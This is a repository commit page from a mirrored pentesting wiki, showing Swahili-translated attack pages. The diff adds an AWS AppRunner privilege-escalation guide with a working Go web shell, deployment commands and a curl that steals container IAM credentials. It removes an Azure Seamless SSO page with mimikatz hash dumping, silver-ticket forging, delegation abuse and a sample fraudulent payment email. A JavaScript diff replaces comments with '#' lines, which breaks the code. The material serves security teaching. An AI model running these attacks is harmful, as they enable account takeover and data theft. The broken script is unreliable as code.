gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 22:51:09 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

Browse Source
This commit is contained in:
Translator
2025-08-01 09:45:51 +00:00
parent ef48751a4c
commit 4ce9a4f549
4 changed files with 86 additions and 204 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/SUMMARY.md
+2 -1
View File
@@ -267,6 +267,7 @@
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md)
- [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md)
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md)
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md)
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md)
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md)
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md)
@@ -454,7 +455,7 @@
- [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md)
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md)
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md)
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md)
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
- [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md
+72
View File
@@ -0,0 +1,72 @@
# AWS - AppRunner Privesc
{{#include ../../../banners/hacktricks-training.md}}
## AppRunner
### `iam:PassRole`, `apprunner:CreateService`
Mshambuliaji mwenye ruhusa hizi anaweza kuunda huduma ya AppRunner yenye jukumu la IAM lililounganishwa, na hivyo kuongeza mamlaka kwa kufikia akiba za jukumu hilo.
Mshambuliaji kwanza huunda Dockerfile inayotumika kama shell ya wavuti kutekeleza amri za kawaida kwenye kontena la AppRunner.
```Dockerfile
FROM golang:1.24-bookworm
WORKDIR /app
RUN apt-get update && apt-get install -y ca-certificates curl
RUN cat <<'EOF' > main.go
package main
import (
"fmt"
"net/http"
"os/exec"
)
func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
output, err := command.CombinedOutput()
if err != nil {
fmt.Fprint(w, err.Error(), output)
return
}
fmt.Fprint(w, string(output))
})
http.ListenAndServe("0.0.0.0:3000", nil)
}
EOF
RUN go mod init test && go build -o main .
EXPOSE 3000
CMD ["./main"]
```
Kisha, sukuma picha hii kwenye hifadhi ya ECR.
Kwa kusukuma picha hiyo kwenye hifadhi ya umma katika akaunti ya AWS inayodhibitiwa na mshambuliaji, kupanda kwa mamlaka kunawezekana hata kama akaunti ya mwathirika haina ruhusa za kudhibiti ECR.
```sh
IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
docker push $IMAGE_NAME
docker logout public.ecr.aws
```
Kisha, mshambuliaji anaunda huduma ya AppRunner iliyo na picha hii ya web shell na IAM Role wanayotaka kutumia.
```bash
aws apprunner create-service \
--service-name malicious-service \
--source-configuration '{
"ImageRepository": {
"ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest",
"ImageRepositoryType": "ECR_PUBLIC",
"ImageConfiguration": { "Port": "3000" }
}
}' \
--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
--query Service.ServiceUrl
```
Baada ya kusubiri kumalizika kwa uundaji wa huduma, tumia shell ya wavuti kupata akreditif za kontena na kupata ruhusa za IAM Role iliyoambatanishwa na AppRunner.
```sh
curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
```
**Madhara Yanayoweza Kutokea:** Kuinua kibali moja kwa moja kwa yoyote IAM role ambayo inaweza kuunganishwa na huduma za AppRunner.
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md
-191
View File
@@ -1,191 +0,0 @@
# Az - Seamless SSO
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) kiotomatiki **inasaini watumiaji wanapokuwa kwenye vifaa vyao vya kampuni** vilivyounganishwa na mtandao wa kampuni yako. Wakati imewezeshwa, **watumiaji hawahitaji kuandika nywila zao ili kuingia kwenye Azure AD**, na kwa kawaida, hata kuandika majina yao ya mtumiaji. Kipengele hiki kinawapa watumiaji wako ufikiaji rahisi wa programu zako za msingi wa wingu bila kuhitaji vipengele vyovyote vya ziada vya ndani.
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
Kimsingi Azure AD Seamless SSO **inasaini watumiaji** wanapokuwa **kwenye PC iliyounganishwa na kikoa cha ndani**.
Inasaidiwa na [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) na [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md).
Desktop SSO inatumia **Kerberos** kwa ajili ya uthibitishaji. Wakati imewekwa, Azure AD Connect inaunda **akaunti ya kompyuta inayoitwa `AZUREADSSOACC$`** katika AD ya ndani. Nywila ya akaunti ya `AZUREADSSOACC$` **inatumwa kama maandiko wazi kwa Entra ID** wakati wa usanidi.
**Tiketi za Kerberos** **zimefungwa** kwa kutumia **NTHash (MD4)** ya nywila na Entra ID inatumia nywila iliyotumwa kufungua tiketi hizo.
**Entra ID** inatoa **kiungo** (https://autologon.microsoftazuread-sso.com) ambacho kinakubali **tiketi** za Kerberos. Kivinjari cha mashine iliyounganishwa na kikoa kinapeleka tiketi hizi kwa kiungo hiki kwa ajili ya SSO.
### Enumeration
```bash
# Check if the SSO is enabled in the tenant
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
# Check if the AZUREADSSOACC$ account exists in the domain
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
$searcher.FindOne()
```
## Pivoting: On-prem -> cloud
> [!WARNING]
> Jambo kuu la kujua kuhusu shambulio hili ni kwamba kuwa na TGT au TGS maalum ya mtumiaji ambaye ameunganishwa na Entra ID inatosha kufikia rasilimali za wingu.\
> Hii ni kwa sababu ni tiketi inayomruhusu mtumiaji kuingia kwenye wingu.
Ili kupata tiketi hiyo ya TGS, mshambuliaji anahitaji kuwa na moja ya yafuatayo:
- **TGS ya mtumiaji aliyeathiriwa:** Ikiwa unaharibu kikao cha mtumiaji na tiketi ya `HTTP/autologon.microsoftazuread-sso.com` kwenye kumbukumbu, unaweza kuitumia kufikia rasilimali za wingu.
- **TGT ya mtumiaji aliyeathiriwa:** Hata kama huna moja lakini mtumiaji ameathiriwa, unaweza kupata moja kwa kutumia hila ya uwakilishi wa TGT bandia iliyotekelezwa katika zana nyingi kama [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) na [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
- **Hash au nywila ya mtumiaji aliyeathiriwa:** SeamlessPass itawasiliana na kidhibiti cha eneo na habari hii ili kuunda TGT na kisha TGS.
- **Tiketi ya dhahabu:** Ikiwa una ufunguo wa KRBTGT, unaweza kuunda TGT unayohitaji kwa mtumiaji aliyeathiriwa.
- **Hash au nywila ya akaunti ya AZUREADSSOACC$:** Kwa habari hii na Kitambulisho cha Usalama (SID) cha mtumiaji, ni rahisi kuunda tiketi ya huduma na kuthibitisha na wingu (kama ilivyofanywa katika njia ya awali).
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
Kama [ilivyoelezwa katika chapisho hili la blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), kuwa na mojawapo ya mahitaji ya awali ni rahisi sana kutumia zana **SeamlessPass** kufikia rasilimali za wingu kama mtumiaji aliyeathiriwa, au kama mtumiaji yeyote ikiwa una **`AZUREADSSOACC$`** hash au nywila ya akaunti.
Hatimaye, kwa TGT inawezekana kutumia zana [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) na:
```bash
# Using the TGT to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
# Using the TGS to access the cloud
seamlesspass -tenant corp.com -tgs user_tgs.ccache
# Using the victims account hash or password to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
wmic useraccount get name,sid # Get the user SIDs
```
Zaidi ya taarifa za kuweka Firefox kufanya kazi na seamless SSO zinaweza [**kupatikana katika chapisho hili la blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
### Kupata hash za akaunti ya AZUREADSSOACC$
**Nenosiri** la mtumiaji **`AZUREADSSOACC$` halibadiliki kamwe**. Hivyo, msimamizi wa kikoa anaweza kuathiri **hash ya akaunti hii**, na kisha kuitumia **kuunda tiketi za fedha** kuungana na Azure na **mtumiaji yeyote wa on-prem aliyeunganishwa**:
```bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
```
> [!NOTE]
> Kwa taarifa za sasa unaweza tu kutumia chombo **SeamlessPass** kama ilivyoelezwa hapo awali kupata tokens za azure na entraid kwa mtumiaji yeyote katika eneo hilo.
> Unaweza pia kutumia mbinu za awali (na nyingine) kupata hash ya nywila ya mwathirika unayetamani kuiga badala ya akaunti ya `AZUREADSSOACC$`.
#### Kuunda Tiketi za Silver
Kwa hash unaweza sasa **kuunda tiketi za silver**:
```bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
```
### Kutumia Tiketi za Silver na Firefox
Ili kutumia tiketi ya fedha, hatua zifuatazo zinapaswa kufanywa:
1. **Anzisha Kivinjari:** Mozilla Firefox inapaswa kuzinduliwa.
2. **Sanidi Kivinjari:**
- Tembelea **`about:config`**.
- Weka upendeleo wa [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) kwa [thamani](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) iliyoainishwa:
- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
- Tembelea `Settings` za Firefox > Tafuta `Allow Windows single sign-on for Microsoft, work and school accounts` na uweke kwenye hali ya kazi.
3. **Fikia Programu ya Mtandao:**
- Tembelea programu ya mtandao ambayo imeunganishwa na kikoa cha AAD cha shirika. Mfano wa kawaida ni [login.microsoftonline.com](https://login.microsoftonline.com/).
4. **Mchakato wa Uthibitishaji:**
- Katika skrini ya kuingia, jina la mtumiaji linapaswa kuingizwa, huku uwanja wa nywila ukiwa tupu.
- Ili kuendelea, bonyeza TAB au ENTER.
> [!WARNING]
> Hii **haiwezi kupita MFA ikiwa imewezeshwa** kwa mtumiaji.
### On-prem -> Cloud kupitia Uwakilishi wa Rasilimali ulio na Mipaka <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
Ili kufanya shambulio inahitajika:
- `WriteDACL` / `GenericWrite` juu ya `AZUREADSSOACC$`
- Akaunti ya kompyuta unayodhibiti (hash & nywila) - Unaweza kuunda moja
1. Hatua 1 – Ongeza akaunti yako ya kompyuta
- Inaunda `ATTACKBOX$` na kuchapisha SID/NTLM hash yake. Mtumiaji yeyote wa kikoa anaweza kufanya hivi wakati MachineAccountQuota > 0
```bash
# Impacket
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
-computer ATTACKBOX$ -password S3cureP@ss
```
2. Hatua 2 – Patia RBCD kwenye `AZUREADSSOACC$` - Inaandika SID ya mashine yako kwenye `msDS-AllowedToActOnBehalfOfOtherIdentity`.
```bash
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
ATTACKBOX$ AZUREADSSOACC$
# Or, from Windows:
$SID = (Get-ADComputer ATTACKBOX$).SID
Set-ADComputer AZUREADSSOACC$ `
-PrincipalsAllowedToDelegateToAccount $SID
```
3. Hatua ya 3 – Tengeneza TGS kwa mtumiaji yeyote (mfano: alice)
```bash
# Using your machine's password or NTLM hash
python3 getST.py -dc-ip 192.168.1.10 \
-spn HTTP/autologon.microsoftazuread-sso.com \
-impersonate alice \
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
# Produces alice.autologon.ccache
#Or, from Windows:
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
/impersonateuser:alice `
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
```
You can now use the **TGS to access Azure resources as the impersonated user.**
### ~~Creating Kerberos tickets for cloud-only users~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
Ikiwa wasimamizi wa Active Directory wana ufikiaji wa Azure AD Connect, wanaweza **kweka SID kwa mtumiaji yeyote wa wingu**. Kwa njia hii **tiketi** za Kerberos zinaweza **kuundwa pia kwa watumiaji wa wingu pekee**. Sharti pekee ni kwamba SID iwe [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
> [!CAUTION]
> Kubadilisha SID ya watumiaji wa wasimamizi wa wingu pekee sasa **imezuiwa na Microsoft**.\
> Kwa maelezo zaidi angalia [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
## References
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
{{#include ../../../banners/hacktricks-training.md}}
theme/ai.js
+12 -12
View File
@@ -1,6 +1,6 @@
/**
* HackTricks Training Discounts
*/
(() => {
@@ -9,13 +9,13 @@
const TXT = 'Click here for HT Summer Discounts, Last Days!';
const URL = 'https://training.hacktricks.xyz';
/* Stop if user already dismissed */
# Stop if user already dismissed
if (localStorage.getItem(KEY) === 'true') return;
/* Quick helper */
# Quick helper
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
/* --- Overlay (blur + dim) --- */
# --- Overlay (blur + dim) ---
const overlay = $('div', `
position: fixed; inset: 0;
background: rgba(0,0,0,.4);
@@ -24,7 +24,7 @@
z-index: 10000;
`);
/* --- Modal --- */
# --- Modal ---
const modal = $('div', `
max-width: 90vw; width: 480px;
background: #fff; border-radius: 12px; overflow: hidden;
@@ -33,10 +33,10 @@
display: flex; flex-direction: column; align-items: stretch;
`);
/* --- Title bar (link + close) --- */
# --- Title bar (link + close) ---
const titleBar = $('div', `
position: relative;
padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
padding: 1rem 2.5rem 1rem 1rem; # room for the close button
text-align: center;
background: #222; color: #fff;
font-size: 1.3rem; font-weight: 700;
@@ -53,7 +53,7 @@
link.textContent = TXT;
titleBar.appendChild(link);
/* Close "X" (no persistence) */
# Close "X" (no persistence)
const closeBtn = $('button', `
position: absolute; top: .25rem; right: .5rem;
background: transparent; border: none;
@@ -65,11 +65,11 @@
closeBtn.onclick = () => overlay.remove();
titleBar.appendChild(closeBtn);
/* --- Image --- */
# --- Image ---
const img = $('img');
img.src = IMG; img.alt = TXT; img.style.width = '100%';
/* --- Checkbox row --- */
# --- Checkbox row ---
const label = $('label', `
display: flex; align-items: center; justify-content: center; gap: .6rem;
padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
@@ -83,7 +83,7 @@
};
label.append(cb, document.createTextNode("Don't show again"));
/* --- Assemble & inject --- */
# --- Assemble & inject ---
modal.append(titleBar, img, label);
overlay.appendChild(modal);
@@ -94,7 +94,7 @@
}
})();
*/